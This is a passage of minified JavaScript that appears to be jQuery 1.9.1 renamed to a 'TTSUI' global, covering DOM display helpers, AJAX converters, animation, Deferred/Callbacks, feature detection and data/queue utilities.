            for (var c = b.charAt(0).toUpperCase() + b.slice(1), d = b, e = yb.length; e--;) if (b = yb[e] + c, b in a) return b;
            return d
        }
        function w(a, b) {
            return a = b || a,
            "none" === ia.css(a, "display") || !ia.contains(a.ownerDocument, a)
        }
        function x(a, b) {
            for (var c, d, e, f = [], g = 0, h = a.length; h > g; g++) d = a[g],
            d.style && (f[g] = ia._data(d, "olddisplay"), c = d.style.display, b ? (f[g] || "none" !== c || (d.style.display = ""), "" === d.style.display && w(d) && (f[g] = ia._data(d, "olddisplay", B(d.nodeName)))) : f[g] || (e = w(d), (c && "none" !== c || !e) && ia._data(d, "olddisplay", e ? c: ia.css(d, "display"))));
            for (g = 0; h > g; g++) d = a[g],
            d.style && (b && "none" !== d.style.display && "" !== d.style.display || (d.style.display = b ? f[g] || "": "none"));
            return a
        }
        function y(a, b, c) {
            var d = rb.exec(b);
            return d ? Math.max(0, d[1] - (c || 0)) + (d[2] || "px") : b
        }
        function z(a, b, c, d, e) {
            for (var f = c === (d ? "border": "content") ? 4 : "width" === b ? 1 : 0, g = 0; 4 > f; f += 2)"margin" === c && (g += ia.css(a, c + xb[f], !0, e)),
            d ? ("content" === c && (g -= ia.css(a, "padding" + xb[f], !0, e)), "margin" !== c && (g -= ia.css(a, "border" + xb[f] + "Width", !0, e))) : (g += ia.css(a, "padding" + xb[f], !0, e), "padding" !== c && (g += ia.css(a, "border" + xb[f] + "Width", !0, e)));
            return g
        }
        function A(a, b, c) {
            var d = !0,
            e = "width" === b ? a.offsetWidth: a.offsetHeight,
            f = kb(a),
            g = ia.support.boxSizing && "border-box" === ia.css(a, "boxSizing", !1, f);
            if (0 >= e || null == e) {
                if (e = lb(a, b, f), (0 > e || null == e) && (e = a.style[b]), sb.test(e)) return e;
                d = g && (ia.support.boxSizingReliable || e === a.style[b]),
                e = parseFloat(e) || 0
            }
            return e + z(a, b, c || (g ? "border": "content"), d, f) + "px"
        }
        function B(a) {
            var b = W,
            c = ub[a];
            return c || (c = C(a, b), "none" !== c && c || (jb = (jb || ia("<iframe frameborder='0' width='0' height='0'/>").css("cssText", "display:block !important")).appendTo(b.documentElement), b = (jb[0].contentWindow || jb[0].contentDocument).document, b.write("<!doctype html><html><body>"), b.close(), c = C(a, b), jb.detach()), ub[a] = c),
            c
        }
        function C(a, b) {
            var c = ia(b.createElement(a)).appendTo(b.body),
            d = ia.css(c[0], "display");
            return c.remove(),
            d
        }
        function D(a, b, c, d) {
            var e;
            if (ia.isArray(b)) ia.each(b,
            function(b, e) {
                c || Ab.test(a) ? d(a, e) : D(a + "[" + ("object" == typeof e ? b: "") + "]", e, c, d)
            });
            else if (c || "object" !== ia.type(b)) d(a, b);
            else for (e in b) D(a + "[" + e + "]", b[e], c, d)
        }
        function E(a) {
            return function(b, c) {
                "string" != typeof b && (c = b, b = "*");
                var d, e = 0,
                f = b.toLowerCase().match(ka) || [];
                if (ia.isFunction(c)) for (; d = f[e++];)"+" === d[0] ? (d = d.slice(1) || "*", (a[d] = a[d] || []).unshift(c)) : (a[d] = a[d] || []).push(c)
            }
        }
        function F(a, c, d, e) {
            function f(i) {
                var j;
                return g[i] = !0,
                ia.each(a[i] || [],
                function(a, i) {
                    var k = i(c, d, e);
                    return "string" != typeof k || h || g[k] ? h ? !(j = k) : b: (c.dataTypes.unshift(k), f(k), !1)
                }),
                j
            }
            var g = {},
            h = a === Rb;
            return f(c.dataTypes[0]) || !g["*"] && f("*")
        }
        function G(a, c) {
            var d, e, f = ia.ajaxSettings.flatOptions || {};
            for (e in c) c[e] !== b && ((f[e] ? a: d || (d = {}))[e] = c[e]);
            return d && ia.extend(!0, a, d),
            a
        }
        function H(a, c, d) {
            var e, f, g, h, i = a.contents,
            j = a.dataTypes,
            k = a.responseFields;
            for (h in k) h in d && (c[k[h]] = d[h]);
            for (;
            "*" === j[0];) j.shift(),
            f === b && (f = a.mimeType || c.getResponseHeader("Content-Type"));
            if (f) for (h in i) if (i[h] && i[h].test(f)) {
                j.unshift(h);
                break
            }
            if (j[0] in d) g = j[0];
            else {
                for (h in d) {
                    if (!j[0] || a.converters[h + " " + j[0]]) {
                        g = h;
                        break
                    }
                    e || (e = h)
                }
                g = g || e
            }
            return g ? (g !== j[0] && j.unshift(g), d[g]) : b
        }
        function I(a, b) {
            var c, d, e, f, g = {},
            h = 0,
            i = a.dataTypes.slice(),
            j = i[0];
            if (a.dataFilter && (b = a.dataFilter(b, a.dataType)), i[1]) for (e in a.converters) g[e.toLowerCase()] = a.converters[e];
            for (; d = i[++h];) if ("*" !== d) {
                if ("*" !== j && j !== d) {
                    if (e = g[j + " " + d] || g["* " + d], !e) for (c in g) if (f = c.split(" "), f[1] === d && (e = g[j + " " + f[0]] || g["* " + f[0]])) {
                        e === !0 ? e = g[c] : g[c] !== !0 && (d = f[0], i.splice(h--, 0, d));
                        break
                    }
                    if (e !== !0) if (e && a["throws"]) b = e(b);
                    else try {
                        b = e(b)
                    } catch(k) {
                        return {
                            state: "parsererror",
                            error: e ? k: "No conversion from " + j + " to " + d
                        }
                    }
                }
                j = d
            }
            return {
                state: "success",
                data: b
            }
        }
        function J() {
            try {
                return new a.XMLHttpRequest
            } catch(b) {}
        }
        function K() {
            try {
                return new a.ActiveXObject("Microsoft.XMLHTTP")
            } catch(b) {}
        }
        function L() {
            return setTimeout(function() {
                $b = b
            }),
            $b = ia.now()
        }
        function M(a, b) {
            ia.each(b,
            function(b, c) {
                for (var d = (ec[b] || []).concat(ec["*"]), e = 0, f = d.length; f > e; e++) if (d[e].call(a, b, c)) return
            })
        }
        function N(a, b, c) {
            var d, e, f = 0,
            g = dc.length,
            h = ia.Deferred().always(function() {
                delete i.elem
            }),
            i = function() {
                if (e) return ! 1;
                for (var b = $b || L(), c = Math.max(0, j.startTime + j.duration - b), d = c / j.duration || 0, f = 1 - d, g = 0, i = j.tweens.length; i > g; g++) j.tweens[g].run(f);
                return h.notifyWith(a, [j, f, c]),
                1 > f && i ? c: (h.resolveWith(a, [j]), !1)
            },
            j = h.promise({
                elem: a,
                props: ia.extend({},
                b),
                opts: ia.extend(!0, {
                    specialEasing: {}
                },
                c),
                originalProperties: b,
                originalOptions: c,
                startTime: $b || L(),
                duration: c.duration,
                tweens: [],
                createTween: function(b, c) {
                    var d = ia.Tween(a, j.opts, b, c, j.opts.specialEasing[b] || j.opts.easing);
                    return j.tweens.push(d),
                    d
                },
                stop: function(b) {
                    var c = 0,
                    d = b ? j.tweens.length: 0;
                    if (e) return this;
                    for (e = !0; d > c; c++) j.tweens[c].run(1);
                    return b ? h.resolveWith(a, [j, b]) : h.rejectWith(a, [j, b]),
                    this
                }
            }),
            k = j.props;
            for (O(k, j.opts.specialEasing); g > f; f++) if (d = dc[f].call(j, a, k, j.opts)) return d;
            return M(j, k),
            ia.isFunction(j.opts.start) && j.opts.start.call(a, j),
            ia.fx.timer(ia.extend(i, {
                elem: a,
                anim: j,
                queue: j.opts.queue
            })),
            j.progress(j.opts.progress).done(j.opts.done, j.opts.complete).fail(j.opts.fail).always(j.opts.always)
        }
        function O(a, b) {
            var c, d, e, f, g;
            for (e in a) if (d = ia.camelCase(e), f = b[d], c = a[e], ia.isArray(c) && (f = c[1], c = a[e] = c[0]), e !== d && (a[d] = c, delete a[e]), g = ia.cssHooks[d], g && "expand" in g) {
                c = g.expand(c),
                delete a[d];
                for (e in c) e in a || (a[e] = c[e], b[e] = f)
            } else b[d] = f
        }
        function P(a, b, c) {
            var d, e, f, g, h, i, j, k, l, m = this,
            n = a.style,
            o = {},
            p = [],
            q = a.nodeType && w(a);
            c.queue || (k = ia._queueHooks(a, "fx"), null == k.unqueued && (k.unqueued = 0, l = k.empty.fire, k.empty.fire = function() {
                k.unqueued || l()
            }), k.unqueued++, m.always(function() {
                m.always(function() {
                    k.unqueued--,
                    ia.queue(a, "fx").length || k.empty.fire()
                })
            })),
            1 === a.nodeType && ("height" in b || "width" in b) && (c.overflow = [n.overflow, n.overflowX, n.overflowY], "inline" === ia.css(a, "display") && "none" === ia.css(a, "float") && (ia.support.inlineBlockNeedsLayout && "inline" !== B(a.nodeName) ? n.zoom = 1 : n.display = "inline-block")),
            c.overflow && (n.overflow = "hidden", ia.support.shrinkWrapBlocks || m.always(function() {
                n.overflow = c.overflow[0],
                n.overflowX = c.overflow[1],
                n.overflowY = c.overflow[2]
            }));
            for (e in b) if (g = b[e], ac.exec(g)) {
                if (delete b[e], i = i || "toggle" === g, g === (q ? "hide": "show")) continue;
                p.push(e)
            }
            if (f = p.length) {
                h = ia._data(a, "fxshow") || ia._data(a, "fxshow", {}),
                "hidden" in h && (q = h.hidden),
                i && (h.hidden = !q),
                q ? ia(a).show() : m.done(function() {
                    ia(a).hide()
                }),
                m.done(function() {
                    var b;
                    ia._removeData(a, "fxshow");
                    for (b in o) ia.style(a, b, o[b])
                });
                for (e = 0; f > e; e++) d = p[e],
                j = m.createTween(d, q ? h[d] : 0),
                o[d] = h[d] || ia.style(a, d),
                d in h || (h[d] = j.start, q && (j.end = j.start, j.start = "width" === d || "height" === d ? 1 : 0))
            }
        }
        function Q(a, b, c, d, e) {
            return new Q.prototype.init(a, b, c, d, e)
        }
        function R(a, b) {
            var c, d = {
                height: a
            },
            e = 0;
            for (b = b ? 1 : 0; 4 > e; e += 2 - b) c = xb[e],
            d["margin" + c] = d["padding" + c] = a;
            return b && (d.opacity = d.width = a),
            d
        }
        function S(a) {
            return ia.isWindow(a) ? a: 9 === a.nodeType ? a.defaultView || a.parentWindow: !1
        }
        var T, U, V = typeof b,
        W = a.document,
        X = a.location,
        Y = a.TTSUI,
        Z = a.$,
        $ = {},
        _ = [],
        aa = "1.9.1",
        ba = _.concat,
        ca = _.push,
        da = _.slice,
        ea = _.indexOf,
        fa = $.toString,
        ga = $.hasOwnProperty,
        ha = aa.trim,
        ia = function(a, b) {
            return new ia.fn.init(a, b, U)
        },
        ja = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,
        ka = /\S+/g,
        la = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
        ma = /^(?:(<[\w\W]+>)[^>]*|#([\w-]*))$/,
        na = /^<(\w+)\s*\/?>(?:<\/\1>|)$/,
        oa = /^[\],:{}\s]*$/,
        pa = /(?:^|:|,)(?:\s*\[)+/g,
        qa = /\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,
        ra = /"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,
        sa = /^-ms-/,
        ta = /-([\da-z])/gi,
        ua = function(a, b) {
            return b.toUpperCase()
        },
        va = function(a) { (W.addEventListener || "load" === a.type || "complete" === W.readyState) && (wa(), ia.ready())
        },
        wa = function() {
            W.addEventListener ? (W.removeEventListener("DOMContentLoaded", va, !1), a.removeEventListener("load", va, !1)) : (W.detachEvent("onreadystatechange", va), a.detachEvent("onload", va))
        };
        ia.fn = ia.prototype = {
            ttsui: aa,
            constructor: ia,
            init: function(a, c, d) {
                var e, f;
                if (!a) return this;
                if ("string" == typeof a) {
                    if (e = "<" === a.charAt(0) && ">" === a.charAt(a.length - 1) && a.length >= 3 ? [null, a, null] : ma.exec(a), !e || !e[1] && c) return ! c || c.ttsui ? (c || d).find(a) : this.constructor(c).find(a);
                    if (e[1]) {
                        if (c = c instanceof ia ? c[0] : c, ia.merge(this, ia.parseHTML(e[1], c && c.nodeType ? c.ownerDocument || c: W, !0)), na.test(e[1]) && ia.isPlainObject(c)) for (e in c) ia.isFunction(this[e]) ? this[e](c[e]) : this.attr(e, c[e]);
                        return this
                    }
                    if (f = W.getElementById(e[2]), f && f.parentNode) {
                        if (f.id !== e[2]) return d.find(a);
                        this.length = 1,
                        this[0] = f
                    }
                    return this.context = W,
                    this.selector = a,
                    this
                }
                return a.nodeType ? (this.context = this[0] = a, this.length = 1, this) : ia.isFunction(a) ? d.ready(a) : (a.selector !== b && (this.selector = a.selector, this.context = a.context), ia.makeArray(a, this))
            },
            selector: "",
            length: 0,
            size: function() {
                return this.length
            },
            toArray: function() {
                return da.call(this)
            },
            get: function(a) {
                return null == a ? this.toArray() : 0 > a ? this[this.length + a] : this[a]
            },
            pushStack: function(a) {
                var b = ia.merge(this.constructor(), a);
                return b.prevObject = this,
                b.context = this.context,
                b
            },
            each: function(a, b) {
                return ia.each(this, a, b)
            },
            ready: function(a) {
                return ia.ready.promise().done(a),
                this
            },
            slice: function() {
                return this.pushStack(da.apply(this, arguments))
            },
            first: function() {
                return this.eq(0)
            },
            last: function() {
                return this.eq( - 1)
            },
            eq: function(a) {
                var b = this.length,
                c = +a + (0 > a ? b: 0);
                return this.pushStack(c >= 0 && b > c ? [this[c]] : [])
            },
            map: function(a) {
                return this.pushStack(ia.map(this,
                function(b, c) {
                    return a.call(b, c, b)
                }))
            },
            end: function() {
                return this.prevObject || this.constructor(null)
            },
            push: ca,
            sort: [].sort,
            splice: [].splice
        },
        ia.fn.init.prototype = ia.fn,
        ia.extend = ia.fn.extend = function() {
            var a, c, d, e, f, g, h = arguments[0] || {},
            i = 1,
            j = arguments.length,
            k = !1;
            for ("boolean" == typeof h && (k = h, h = arguments[1] || {},
            i = 2), "object" == typeof h || ia.isFunction(h) || (h = {}), j === i && (h = this, --i); j > i; i++) if (null != (f = arguments[i])) for (e in f) a = h[e],
            d = f[e],
            h !== d && (k && d && (ia.isPlainObject(d) || (c = ia.isArray(d))) ? (c ? (c = !1, g = a && ia.isArray(a) ? a: []) : g = a && ia.isPlainObject(a) ? a: {},
            h[e] = ia.extend(k, g, d)) : d !== b && (h[e] = d));
            return h
        },
        ia.extend({
            noConflict: function(b) {
                return a.$ === ia && (a.$ = Z),
                b && a.TTSUI === ia && (a.TTSUI = Y),
                ia
            },
            isReady: !1,
            readyWait: 1,
            holdReady: function(a) {
                a ? ia.readyWait++:ia.ready(!0)
            },
            ready: function(a) {
                if (a === !0 ? !--ia.readyWait: !ia.isReady) {
                    if (!W.body) return setTimeout(ia.ready);
                    ia.isReady = !0,
                    a !== !0 && --ia.readyWait > 0 || (T.resolveWith(W, [ia]), ia.fn.trigger && ia(W).trigger("ready").off("ready"))
                }
            },
            isFunction: function(a) {
                return "function" === ia.type(a)
            },
            isArray: Array.isArray ||
            function(a) {
                return "array" === ia.type(a)
            },
            isWindow: function(a) {
                return null != a && a == a.window
            },
            isNumeric: function(a) {
                return ! isNaN(parseFloat(a)) && isFinite(a)
            },
            type: function(a) {
                return null == a ? a + "": "object" == typeof a || "function" == typeof a ? $[fa.call(a)] || "object": typeof a
            },
            isPlainObject: function(a) {
                if (!a || "object" !== ia.type(a) || a.nodeType || ia.isWindow(a)) return ! 1;
                try {
                    if (a.constructor && !ga.call(a, "constructor") && !ga.call(a.constructor.prototype, "isPrototypeOf")) return ! 1
                } catch(c) {
                    return ! 1
                }
                var d;
                for (d in a);
                return d === b || ga.call(a, d)
            },
            isEmptyObject: function(a) {
                var b;
                for (b in a) return ! 1;
                return ! 0
            },
            error: function(a) {
                throw Error(a)
            },
            parseHTML: function(a, b, c) {
                if (!a || "string" != typeof a) return null;
                "boolean" == typeof b && (c = b, b = !1),
                b = b || W;
                var d = na.exec(a),
                e = !c && [];
                return d ? [b.createElement(d[1])] : (d = ia.buildFragment([a], b, e), e && ia(e).remove(), ia.merge([], d.childNodes))
            },
            parseJSON: function(c) {
                return a.JSON && a.JSON.parse ? a.JSON.parse(c) : null === c ? c: "string" == typeof c && (c = ia.trim(c), c && oa.test(c.replace(qa, "@").replace(ra, "]").replace(pa, ""))) ? Function("return " + c)() : (ia.error("Invalid JSON: " + c), b)
            },
            parseXML: function(c) {
                var d, e;
                if (!c || "string" != typeof c) return null;
                try {
                    a.DOMParser ? (e = new DOMParser, d = e.parseFromString(c, "text/xml")) : (d = new ActiveXObject("Microsoft.XMLDOM"), d.async = "false", d.loadXML(c))
                } catch(f) {
                    d = b
                }
                return d && d.documentElement && !d.getElementsByTagName("parsererror").length || ia.error("Invalid XML: " + c),
                d
            },
            noop: function() {},
            globalEval: function(b) {
                b && ia.trim(b) && (a.execScript ||
                function(b) {
                    a.eval.call(a, b)
                })(b)
            },
            camelCase: function(a) {
                return a.replace(sa, "ms-").replace(ta, ua)
            },
            nodeName: function(a, b) {
                return a.nodeName && a.nodeName.toLowerCase() === b.toLowerCase()
            },
            each: function(a, b, d) {
                var e, f = 0,
                g = a.length,
                h = c(a);
                if (d) {
                    if (h) for (; g > f && (e = b.apply(a[f], d), e !== !1); f++);
                    else for (f in a) if (e = b.apply(a[f], d), e === !1) break
                } else if (h) for (; g > f && (e = b.call(a[f], f, a[f]), e !== !1); f++);
                else for (f in a) if (e = b.call(a[f], f, a[f]), e === !1) break;
                return a
            },
            trim: ha && !ha.call(" ") ?
            function(a) {
                return null == a ? "": ha.call(a)
            }: function(a) {
                return null == a ? "": (a + "").replace(la, "")
            },
            makeArray: function(a, b) {
                var d = b || [];
                return null != a && (c(Object(a)) ? ia.merge(d, "string" == typeof a ? [a] : a) : ca.call(d, a)),
                d
            },
            inArray: function(a, b, c) {
                var d;
                if (b) {
                    if (ea) return ea.call(b, a, c);
                    for (d = b.length, c = c ? 0 > c ? Math.max(0, d + c) : c: 0; d > c; c++) if (c in b && b[c] === a) return c
                }
                return - 1
            },
            merge: function(a, c) {
                var d = c.length,
                e = a.length,
                f = 0;
                if ("number" == typeof d) for (; d > f; f++) a[e++] = c[f];
                else for (; c[f] !== b;) a[e++] = c[f++];
                return a.length = e,
                a
            },
            grep: function(a, b, c) {
                var d, e = [],
                f = 0,
                g = a.length;
                for (c = !!c; g > f; f++) d = !!b(a[f], f),
                c !== d && e.push(a[f]);
                return e
            },
            map: function(a, b, d) {
                var e, f = 0,
                g = a.length,
                h = c(a),
                i = [];
                if (h) for (; g > f; f++) e = b(a[f], f, d),
                null != e && (i[i.length] = e);
                else for (f in a) e = b(a[f], f, d),
                null != e && (i[i.length] = e);
                return ba.apply([], i)
            },
            guid: 1,
            proxy: function(a, c) {
                var d, e, f;
                return "string" == typeof c && (f = a[c], c = a, a = f),
                ia.isFunction(a) ? (d = da.call(arguments, 2), e = function() {
                    return a.apply(c || this, d.concat(da.call(arguments)))
                },
                e.guid = a.guid = a.guid || ia.guid++, e) : b
            },
            access: function(a, c, d, e, f, g, h) {
                var i = 0,
                j = a.length,
                k = null == d;
                if ("object" === ia.type(d)) {
                    f = !0;
                    for (i in d) ia.access(a, c, i, d[i], !0, g, h)
                } else if (e !== b && (f = !0, ia.isFunction(e) || (h = !0), k && (h ? (c.call(a, e), c = null) : (k = c, c = function(a, b, c) {
                    return k.call(ia(a), c)
                })), c)) for (; j > i; i++) c(a[i], d, h ? e: e.call(a[i], i, c(a[i], d)));
                return f ? a: k ? c.call(a) : j ? c(a[0], d) : g
            },
            now: function() {
                return (new Date).getTime()
            }
        }),
        ia.ready.promise = function(b) {
            if (!T) if (T = ia.Deferred(), "complete" === W.readyState) setTimeout(ia.ready);
            else if (W.addEventListener) W.addEventListener("DOMContentLoaded", va, !1),
            a.addEventListener("load", va, !1);
            else {
                W.attachEvent("onreadystatechange", va),
                a.attachEvent("onload", va);
                var c = !1;
                try {
                    c = null == a.frameElement && W.documentElement
                } catch(d) {}
                c && c.doScroll &&
                function e() {
                    if (!ia.isReady) {
                        try {
                            c.doScroll("left")
                        } catch(a) {
                            return setTimeout(e, 50)
                        }
                        wa(),
                        ia.ready()
                    }
                } ()
            }
            return T.promise(b)
        },
        ia.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),
        function(a, b) {
            $["[object " + b + "]"] = b.toLowerCase()
        }),
        U = ia(W);
        var xa = {};
        ia.Callbacks = function(a) {
            a = "string" == typeof a ? xa[a] || d(a) : ia.extend({},
            a);
            var c, e, f, g, h, i, j = [],
            k = !a.once && [],
            l = function(b) {
                for (e = a.memory && b, f = !0, h = i || 0, i = 0, g = j.length, c = !0; j && g > h; h++) if (j[h].apply(b[0], b[1]) === !1 && a.stopOnFalse) {
                    e = !1;
                    break
                }
                c = !1,
                j && (k ? k.length && l(k.shift()) : e ? j = [] : m.disable())
            },
            m = {
                add: function() {
                    if (j) {
                        var b = j.length; !
                        function d(b) {
                            ia.each(b,
                            function(b, c) {
                                var e = ia.type(c);
                                "function" === e ? a.unique && m.has(c) || j.push(c) : c && c.length && "string" !== e && d(c)
                            })
                        } (arguments),
                        c ? g = j.length: e && (i = b, l(e))
                    }
                    return this
                },
                remove: function() {
                    return j && ia.each(arguments,
                    function(a, b) {
                        for (var d; (d = ia.inArray(b, j, d)) > -1;) j.splice(d, 1),
                        c && (g >= d && g--, h >= d && h--)
                    }),
                    this
                },
                has: function(a) {
                    return a ? ia.inArray(a, j) > -1 : !(!j || !j.length)
                },
                empty: function() {
                    return j = [],
                    this
                },
                disable: function() {
                    return j = k = e = b,
                    this
                },
                disabled: function() {
                    return ! j
                },
                lock: function() {
                    return k = b,
                    e || m.disable(),
                    this
                },
                locked: function() {
                    return ! k
                },
                fireWith: function(a, b) {
                    return b = b || [],
                    b = [a, b.slice ? b.slice() : b],
                    !j || f && !k || (c ? k.push(b) : l(b)),
                    this
                },
                fire: function() {
                    return m.fireWith(this, arguments),
                    this
                },
                fired: function() {
                    return !! f
                }
            };
            return m
        },
        ia.extend({
            Deferred: function(a) {
                var b = [["resolve", "done", ia.Callbacks("once memory"), "resolved"], ["reject", "fail", ia.Callbacks("once memory"), "rejected"], ["notify", "progress", ia.Callbacks("memory")]],
                c = "pending",
                d = {
                    state: function() {
                        return c
                    },
                    always: function() {
                        return e.done(arguments).fail(arguments),
                        this
                    },
                    then: function() {
                        var a = arguments;
                        return ia.Deferred(function(c) {
                            ia.each(b,
                            function(b, f) {
                                var g = f[0],
                                h = ia.isFunction(a[b]) && a[b];
                                e[f[1]](function() {
                                    var a = h && h.apply(this, arguments);
                                    a && ia.isFunction(a.promise) ? a.promise().done(c.resolve).fail(c.reject).progress(c.notify) : c[g + "With"](this === d ? c.promise() : this, h ? [a] : arguments)
                                })
                            }),
                            a = null
                        }).promise()
                    },
                    promise: function(a) {
                        return null != a ? ia.extend(a, d) : d
                    }
                },
                e = {};
                return d.pipe = d.then,
                ia.each(b,
                function(a, f) {
                    var g = f[2],
                    h = f[3];
                    d[f[1]] = g.add,
                    h && g.add(function() {
                        c = h
                    },
                    b[1 ^ a][2].disable, b[2][2].lock),
                    e[f[0]] = function() {
                        return e[f[0] + "With"](this === e ? d: this, arguments),
                        this
                    },
                    e[f[0] + "With"] = g.fireWith
                }),
                d.promise(e),
                a && a.call(e, e),
                e
            },
            when: function(a) {
                var b, c, d, e = 0,
                f = da.call(arguments),
                g = f.length,
                h = 1 !== g || a && ia.isFunction(a.promise) ? g: 0,
                i = 1 === h ? a: ia.Deferred(),
                j = function(a, c, d) {
                    return function(e) {
                        c[a] = this,
                        d[a] = arguments.length > 1 ? da.call(arguments) : e,
                        d === b ? i.notifyWith(c, d) : --h || i.resolveWith(c, d)
                    }
                };
                if (g > 1) for (b = Array(g), c = Array(g), d = Array(g); g > e; e++) f[e] && ia.isFunction(f[e].promise) ? f[e].promise().done(j(e, d, f)).fail(i.reject).progress(j(e, c, b)) : --h;
                return h || i.resolveWith(d, f),
                i.promise()
            }
        }),
        ia.support = function() {
            var b, c, d, e, f, g, h, i, j, k, l = W.createElement("div");
            if (l.setAttribute("className", "t"), l.innerHTML = "  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>", c = l.getElementsByTagName("*"), d = l.getElementsByTagName("a")[0], !c || !d || !c.length) return {};
            f = W.createElement("select"),
            h = f.appendChild(W.createElement("option")),
            e = l.getElementsByTagName("input")[0],
            d.style.cssText = "top:1px;float:left;opacity:.5",
            b = {
                getSetAttribute: "t" !== l.className,
                leadingWhitespace: 3 === l.firstChild.nodeType,
                tbody: !l.getElementsByTagName("tbody").length,
                htmlSerialize: !!l.getElementsByTagName("link").length,
                style: /top/.test(d.getAttribute("style")),
                hrefNormalized: "/a" === d.getAttribute("href"),
                opacity: /^0.5/.test(d.style.opacity),
                cssFloat: !!d.style.cssFloat,
                checkOn: !!e.value,
                optSelected: h.selected,
                enctype: !!W.createElement("form").enctype,
                html5Clone: "<:nav></:nav>" !== W.createElement("nav").cloneNode(!0).outerHTML,
                boxModel: "CSS1Compat" === W.compatMode,
                deleteExpando: !0,
                noCloneEvent: !0,
                inlineBlockNeedsLayout: !1,
                shrinkWrapBlocks: !1,
                reliableMarginRight: !0,
                boxSizingReliable: !0,
                pixelPosition: !1
            },
            e.checked = !0,
            b.noCloneChecked = e.cloneNode(!0).checked,
            f.disabled = !0,
            b.optDisabled = !h.disabled;
            try {
                delete l.test
            } catch(m) {
                b.deleteExpando = !1
            }
            e = W.createElement("input"),
            e.setAttribute("value", ""),
            b.input = "" === e.getAttribute("value"),
            e.value = "t",
            e.setAttribute("type", "radio"),
            b.radioValue = "t" === e.value,
            e.setAttribute("checked", "t"),
            e.setAttribute("name", "t"),
            g = W.createDocumentFragment(),
            g.appendChild(e),
            b.appendChecked = e.checked,
            b.checkClone = g.cloneNode(!0).cloneNode(!0).lastChild.checked,
            l.attachEvent && (l.attachEvent("onclick",
            function() {
                b.noCloneEvent = !1
            }), l.cloneNode(!0).click());
            for (k in {
                submit: !0,
                change: !0,
                focusin: !0
            }) l.setAttribute(i = "on" + k, "t"),
            b[k + "Bubbles"] = i in a || l.attributes[i].expando === !1;
            return l.style.backgroundClip = "content-box",
            l.cloneNode(!0).style.backgroundClip = "",
            b.clearCloneStyle = "content-box" === l.style.backgroundClip,
            ia(function() {
                var c, d, e, f = "padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",
                g = W.getElementsByTagName("body")[0];
                g && (c = W.createElement("div"), c.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px", g.appendChild(c).appendChild(l), l.innerHTML = "<table><tr><td></td><td>t</td></tr></table>", e = l.getElementsByTagName("td"), e[0].style.cssText = "padding:0;margin:0;border:0;display:none", j = 0 === e[0].offsetHeight, e[0].style.display = "", e[1].style.display = "none", b.reliableHiddenOffsets = j && 0 === e[0].offsetHeight, l.innerHTML = "", l.style.cssText = "box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;", b.boxSizing = 4 === l.offsetWidth, b.doesNotIncludeMarginInBodyOffset = 1 !== g.offsetTop, a.getComputedStyle && (b.pixelPosition = "1%" !== (a.getComputedStyle(l, null) || {}).top, b.boxSizingReliable = "4px" === (a.getComputedStyle(l, null) || {
                    width: "4px"
                }).width, d = l.appendChild(W.createElement("div")), d.style.cssText = l.style.cssText = f, d.style.marginRight = d.style.width = "0", l.style.width = "1px", b.reliableMarginRight = !parseFloat((a.getComputedStyle(d, null) || {}).marginRight)), typeof l.style.zoom !== V && (l.innerHTML = "", l.style.cssText = f + "width:1px;padding:1px;display:inline;zoom:1", b.inlineBlockNeedsLayout = 3 === l.offsetWidth, l.style.display = "block", l.innerHTML = "<div></div>", l.firstChild.style.width = "5px", b.shrinkWrapBlocks = 3 !== l.offsetWidth, b.inlineBlockNeedsLayout && (g.style.zoom = 1)), g.removeChild(c), c = l = e = d = null)
            }),
            c = f = g = h = d = e = null,
            b
        } ();
        var ya = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/,
        za = /([A-Z])/g;
        ia.extend({
            cache: {},
            expando: "TTSUI" + (aa + Math.random()).replace(/\D/g, ""),
            noData: {
                embed: !0,
                object: "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
                applet: !0
            },
            hasData: function(a) {
                return a = a.nodeType ? ia.cache[a[ia.expando]] : a[ia.expando],
                !!a && !h(a)
            },
            data: function(a, b, c) {
                return e(a, b, c)
            },
            removeData: function(a, b) {
                return f(a, b)
            },
            _data: function(a, b, c) {
                return e(a, b, c, !0)
            },
            _removeData: function(a, b) {
                return f(a, b, !0)
            },
            acceptData: function(a) {
                if (a.nodeType && 1 !== a.nodeType && 9 !== a.nodeType) return ! 1;
                var b = a.nodeName && ia.noData[a.nodeName.toLowerCase()];
                return ! b || b !== !0 && a.getAttribute("classid") === b
            }
        }),
        ia.fn.extend({
            data: function(a, c) {
                var d, e, f = this[0],
                h = 0,
                i = null;
                if (a === b) {
                    if (this.length && (i = ia.data(f), 1 === f.nodeType && !ia._data(f, "parsedAttrs"))) {
                        for (d = f.attributes; d.length > h; h++) e = d[h].name,
                        e.indexOf("data-") || (e = ia.camelCase(e.slice(5)), g(f, e, i[e]));
                        ia._data(f, "parsedAttrs", !0)
                    }
                    return i
                }
                return "object" == typeof a ? this.each(function() {
                    ia.data(this, a)
                }) : ia.access(this,
                function(c) {
                    return c === b ? f ? g(f, a, ia.data(f, a)) : null: (this.each(function() {
                        ia.data(this, a, c)
                    }), b)
                },
                null, c, arguments.length > 1, null, !0)
            },
            removeData: function(a) {
                return this.each(function() {
                    ia.removeData(this, a)
                })
            }
        }),
        ia.extend({
            queue: function(a, c, d) {
                var e;
                return a ? (c = (c || "fx") + "queue", e = ia._data(a, c), d && (!e || ia.isArray(d) ? e = ia._data(a, c, ia.makeArray(d)) : e.push(d)), e || []) : b
            },
            dequeue: function(a, b) {
                b = b || "fx";
                var c = ia.queue(a, b),
                d = c.length,
                e = c.shift(),
                f = ia._queueHooks(a, b),
                g = function() {
                    ia.dequeue(a, b)
                };
                "inprogress" === e && (e = c.shift(), d--),
                f.cur = e,
                e && ("fx" === b && c.unshift("inprogress"), delete f.stop, e.call(a, g, f)),
                !d && f && f.empty.fire()
            },
            _queueHooks: function(a, b) {
                var c = b + "queueHooks";
                return ia._data(a, c) || ia._data(a, c, {
